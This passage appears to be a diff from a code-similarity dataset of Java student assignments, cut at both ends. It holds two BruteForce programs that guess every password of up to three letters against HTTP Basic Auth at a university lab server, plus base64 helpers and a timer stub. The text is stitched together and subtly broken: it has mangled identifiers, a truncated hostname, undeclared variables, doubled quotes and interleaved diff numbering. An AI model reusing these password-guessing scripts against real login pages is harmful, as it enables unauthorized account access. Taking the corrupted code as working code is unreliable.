'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
2334 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
2335 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
2336 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
2337 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
2338 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
2339 |
+
'4', '5', '6', '7', '8', '9', '+', '/'
|
2340 |
+
};
|
2341 |
+
|
2342 |
+
public static String encode (String string)
|
2343 |
+
{
|
2344 |
+
String encodedString = """";
|
2345 |
+
byte bytes [] = string.getBytes ();
|
2346 |
+
int i = 0;
|
2347 |
+
int pad = 0;
|
2348 |
+
while (i < bytes.length)
|
2349 |
+
{
|
2350 |
+
byte b1 = bytes [i++];
|
2351 |
+
byte b2;
|
2352 |
+
byte b3;
|
2353 |
+
if (i >= bytes.length)
|
2354 |
+
{
|
2355 |
+
b2 = 0;
|
2356 |
+
b3 = 0;
|
2357 |
+
pad = 2;
|
2358 |
+
}
|
2359 |
+
else
|
2360 |
+
{
|
2361 |
+
b2 = bytes [i++];
|
2362 |
+
if (i >= bytes.length)
|
2363 |
+
{
|
2364 |
+
b3 = 0;
|
2365 |
+
pad = 1;
|
2366 |
+
}
|
2367 |
+
else
|
2368 |
+
b3 = bytes [i++];
|
2369 |
+
}
|
2370 |
+
|
2371 |
+
byte c1 = (byte)(b1 >> 2);
|
2372 |
+
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
|
2373 |
+
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
|
2374 |
+
byte c4 = (byte)(b3 & 0x3f);
|
2375 |
+
encodedString += base64Array [c1];
|
2376 |
+
encodedString += base64Array [c2];
|
2377 |
+
switch (pad)
|
2378 |
+
{
|
2379 |
+
case 0:
|
2380 |
+
encodedString += base64Array [c3];
|
2381 |
+
encodedString += base64Array [c4];
|
2382 |
+
break;
|
2383 |
+
case 1:
|
2384 |
+
encodedString += base64Array [c3];
|
2385 |
+
encodedString += ""="";
|
2386 |
+
break;
|
2387 |
+
case 2:
|
2388 |
+
encodedString += ""=="";
|
2389 |
+
break;
|
2390 |
+
}
|
2391 |
+
}
|
2392 |
+
return encodedString;
|
2393 |
+
}
|
2394 |
+
}
|
2395 |
+
" "153.java 087.java 155.java"
|
2396 |
+
228.java "
|
2397 |
+
|
2398 |
+
import java.io.*;
|
2399 |
+
import java.*;
|
2400 |
+
import java.net.*;
|
2401 |
+
import java.util.*;
|
2402 |
+
|
2403 |
+
public class BruteForce {
|
2404 |
+
public static void main (String[] args) throws IOException {
|
2405 |
+
BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
|
2406 |
+
|
2407 |
+
int start = new Date().getTime();
|
2408 |
+
String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"",
|
2409 |
+
""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"",
|
2410 |
+
""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"",
|
2411 |
+
""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""};
|
2412 |
+
int len = 52;
|
2413 |
+
int total = 52;
|
2414 |
+
String[] cad = new String[total];
|
2415 |
+
int t=0;
|
2416 |
+
|
2417 |
+
for (int i=0;i<=len-1;i++){
|
2418 |
+
cad[t] = letters[i];
|
2419 |
+
t++;
|
2420 |
+
}
|
2421 |
+
for (int i=0;i<=len-1;i++){
|
2422 |
+
for (int j=0;j<=len-1;j++){
|
2423 |
+
cad[t] = letters[j]+letters[i];
|
2424 |
+
t++;
|
2425 |
+
}}
|
2426 |
+
for (int i=0;i<=len-1;i++){
|
2427 |
+
for (int j=0;j<=len-1;j++){
|
2428 |
+
for (int k=0;k<=len-1;k++){
|
2429 |
+
cad[t] = letters[k]+letters[j]+letters[i];
|
2430 |
+
t++;
|
2431 |
+
}}}
|
2432 |
+
|
2433 |
+
int response = 0;
|
2434 |
+
for (t=0;t<=total-1;t++){
|
2435 |
+
String uname = """";
|
2436 |
+
String userinfo = uname + "":"" + cad[t];
|
2437 |
+
try{
|
2438 |
+
String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());
|
2439 |
+
URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
|
2440 |
+
HttpURLConnection uc = (HttpURLConnection)url.openConnection();
|
2441 |
+
uc.setRequestProperty (""Authorization"", "" "" + encoding);
|
2442 |
+
response = uc.getResponseCode();
|
2443 |
+
if (response == 200) break;
|
2444 |
+
else uc.disconnect();
|
2445 |
+
}
|
2446 |
+
catch(IOException e){ System.err.println(e); e.printStackTrace(); }
|
2447 |
+
catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
|
2448 |
+
}
|
2449 |
+
System.out.println(""Response ""+t+"" was ""+response);
|
2450 |
+
System.out.println(""The successful password was ""+cad[t]);
|
2451 |
+
finish = new Date().getTime();
|
2452 |
+
float totaltime = (float)(finish-start)/1000;
|
2453 |
+
System.out.println(""Total time: ""+totaltime+"" seconds"");
|
2454 |
+
}
|
2455 |
+
}
|
2456 |
+
|
2457 |
+
" 230.java
|
2458 |
+
174.java "
|
2459 |
+
|
2460 |
+
|
2461 |
+
|
2462 |
+
|
2463 |
+
import java.util.*;
|
2464 |
+
import java.io.*;
|
2465 |
+
|
2466 |
+
public class MyTimer
|
2467 |
+
{
|
2468 |
+
|
2469 |
+
public static void main(String args[])
|
2470 |
+
{
|
2471 |
+
Watchdog watch = new Watchdog();
|
2472 |
+
Timer time = new Timer();
|
2473 |
+
time.schedule(watch,864000000,864000000);
|
2474 |
+
|
2475 |
+
|
2476 |
+
}
|
2477 |
+
}
|
2478 |
+
" 135.java
|
2479 |
+
086.java "import java.net.*;
|
2480 |
+
import java.io.*;
|
2481 |
+
import java.*;
|
2482 |
+
|
2483 |
+
public class BruteForce {
|
2484 |
+
|
2485 |
+
URLConnection conn = null;
|
2486 |
+
private static boolean status = false;
|
2487 |
+
|
2488 |
+
public static void main (String args[]){
|
2489 |
+
BruteForce a = new BruteForce();
|
2490 |
+
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
|
2491 |
+
"""",
|
2492 |
+
""""};
|
2493 |
+
int attempts = 0;
|
2494 |
+
exit:
|
2495 |
+
for (int i=0;i<pwdArray.length;i++) {
|
2496 |
+
for (int j=0;j<pwdArray.length;j++) {
|
2497 |
+
for (int k=0;k<pwdArray.length;k++) {
|
2498 |
+
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
|
2499 |
+
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
|
2500 |
+
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
|
2501 |
+
attempts++;
|
2502 |
+
a.doit(inp);
|
2503 |
+
|
2504 |
+
if (status) {
|
2505 |
+
System.out.println(""Crrect password is: "" + inp[2]);
|
2506 |
+
System.out.println(""Number of attempts = "" + attempts);
|
2507 |
+
break exit;
|
2508 |
+
}
|
2509 |
+
inp[2] = """";
|
2510 |
+
}
|
2511 |
+
}
|
2512 |
+
}
|
2513 |
+
}
|
2514 |
+
|
2515 |
+
public void doit(String args[]) {
|
2516 |
+
|
2517 |
+
try {
|
2518 |
+
BufferedReader in = new BufferedReader(
|
2519 |
+
new InputStreamReader
|
2520 |
+
(connectURL(new URL(args[0]), args[1], args[2])));
|
2521 |
+
String line;
|
2522 |
+
while ((line = in.readLine()) != null) {
|
2523 |
+
System.out.println(line);
|
2524 |
+
status = true;
|
2525 |
+
}
|
2526 |
+
}
|
2527 |
+
catch (IOException e) {
|
2528 |
+
|
2529 |
+
}
|
2530 |
+
}
|
2531 |
+
|
2532 |
+
public InputStream connectURL (URL url, String uname, String pword)
|
2533 |
+
throws IOException {
|
2534 |
+
conn = url.openConnection();
|
2535 |
+
conn.setRequestProperty (""Authorization"",
|
2536 |
+
userNamePasswordBase64(uname,pword));
|
2537 |
+
conn.connect ();
|
2538 |
+
return conn.getInputStream();
|
2539 |
+
}
|
2540 |
+
|
2541 |
+
public String userNamePasswordBase64(String username, String password) {
|
2542 |
+
return "" "" + base64Encode (username + "":"" + password);
|
2543 |
+
}
|
2544 |
+
|
2545 |
+
private final static char pwdArray [] = {
|
2546 |
+
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
|
2547 |
+
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
|
2548 |
+
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
|
2549 |
+
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
|
2550 |
+
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
|
2551 |
+
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
|
2552 |
+
'W', 'X', 'Y', 'Z', ' '
|
2553 |
+
};
|
2554 |
+
|
2555 |
+
private final static char base64Array [] = {
|
2556 |
+
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
|
2557 |
+
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
|
2558 |
+
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
|
2559 |
+
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
|
2560 |
+
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
|
2561 |
+
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
|
2562 |
+
'w', 'x', 'y', 'z', '0', '1', '2', '3',
|
2563 |
+
'4', '5', '6', '7', '8', '9', '+', '/'
|
2564 |
+
};
|
2565 |
+
|
2566 |
+
private static String base64Encode (String string) {
|
2567 |
+
String encodedString = """";
|
2568 |
+
byte bytes [] = string.getBytes ();
|
2569 |
+
int i = 0;
|
2570 |
+
int pad = 0;
|
2571 |
+
while (i < bytes.length) {
|
2572 |
+
byte b1 = bytes [i++];
|
2573 |
+
byte b2;
|
2574 |
+
byte b3;
|
2575 |
+
if (i >= bytes.length) {
|
2576 |
+
b2 = 0;
|
2577 |
+
b3 = 0;
|
2578 |
+
pad = 2;
|
2579 |
+
}
|
2580 |
+
else {
|
2581 |
+
b2 = bytes [i++];
|
2582 |
+
if (i >= bytes.length) {
|
2583 |
+
b3 = 0;
|
2584 |
+
pad = 1;
|
2585 |
+
}
|
2586 |
+
else
|
2587 |
+
b3 = bytes [i++];
|
2588 |
+
}
|
2589 |
+
byte c1 = (byte)(b1 >> 2);
|
2590 |
+
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
|
2591 |
+
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
|
2592 |
+
byte c4 = (byte)(b3 & 0x3f);
|
2593 |
+
encodedString += base64Array [c1];
|
2594 |
+
encodedString += base64Array [c2];
|
2595 |
+
switch (pad) {
|
2596 |
+
case 0:
|
2597 |
+
encodedString += base64Array [c3];
|
2598 |
+
encodedString += base64Array [c4];
|
2599 |
+
break;
|
2600 |
+
case 1:
|
2601 |
+
encodedString += base64Array [c3];
|
2602 |
+
encodedString += ""="";
|
2603 |
+
break;
|
2604 |
+
case 2:
|
2605 |
+
encodedString += ""=="";
|
2606 |
+
break;
|
2607 |
+
}
|
2608 |
+
}
|
2609 |
+
return encodedString;
|
2610 |
+
}
|
2611 |
+
}
|
2612 |
+
|
2613 |
+
" "155.java 087.java 243.java"
|